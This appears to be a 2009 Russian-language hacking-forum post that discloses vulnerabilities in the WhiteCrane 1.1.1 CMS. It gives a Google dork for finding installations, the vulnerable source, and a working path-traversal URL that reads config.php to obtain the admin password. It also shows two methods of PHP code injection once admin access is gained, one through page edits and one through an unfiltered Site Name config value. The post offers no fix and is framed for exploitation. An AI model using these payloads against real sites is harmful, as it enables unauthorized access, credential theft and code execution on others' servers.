Уязвимости WhiteCrane

Discussion in 'Веб-уязвимости' started by Iceangel_, 19 Apr 2009.

  1. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Уязвимости WhiteCrane 1.1.1 (возможно и более ранние версии)

    download: http://dev.ameoto.com/whitecrane111.zip

    dork: "Powered by WhiteCrane"


    1) [произвольное чтение файлов] (требования: register_globals=on)

    /paper/plugins/viewsource.php

    разработчик не учел возможность прямого доступа к скрипту и не защитил его от несанкционированного доступа
    уязвимый код:
    PHP:
    function viewsrc($page$config){
        if(isset(
    $_REQUEST['act']) && $_REQUEST['act'] == "View Source"){
            
    $full $config["path"] . $page $config["ext"];
            if(
    file_exists($full)){
                
    $contents file_get_contents($full);
                
    //$contents = htmlspecialchars($contents);
                
    echo '<h2>View Source <span style="font-size:x-small"><a href="?page='.$page.'">back</a></span></h2>';
                echo 
    '<textarea name="message" id="canvas" rows="24">'.$contents.'</textarea>';
            }
        }
    }
    viewsrc($page$config);
    эксплуатирование:
    Читаем конфиг сайта для последующего доступа к админ панели
    Code:
    http://localhost/hack/white/paper/plugins/viewsource.php?act=View+Source&page=../config.php
    PHP:
    $user['admin'] = '12345'//сам логин и пароль к админке
    1) [произвольное выполнение php-кода] (требования: доступ в админ панель)
    эксплуатирование:
    1)через правку страницы
    В данной CMS страницы сохраняются с расширением .php, позволяя нам их впоследствии интерпретировать. Дописываем любой php-код к странице (пример /index.php?page=home), и обращаемся к скрипту напрямую /pages/home.php
    2)через правку конфига
    Значения переменных при записе в конфиг, никаким образом не фильтруется, позволяя нам выполнить произвольный php-код.
    К примеру в поле Site Name: вбиваем My site'; $a=phpinfo(); //
    И напрямую обращаясь к конфигу (/paper/config.php), видим результат.
     
    #1 Iceangel_, 19 Apr 2009
    Last edited: 19 Apr 2009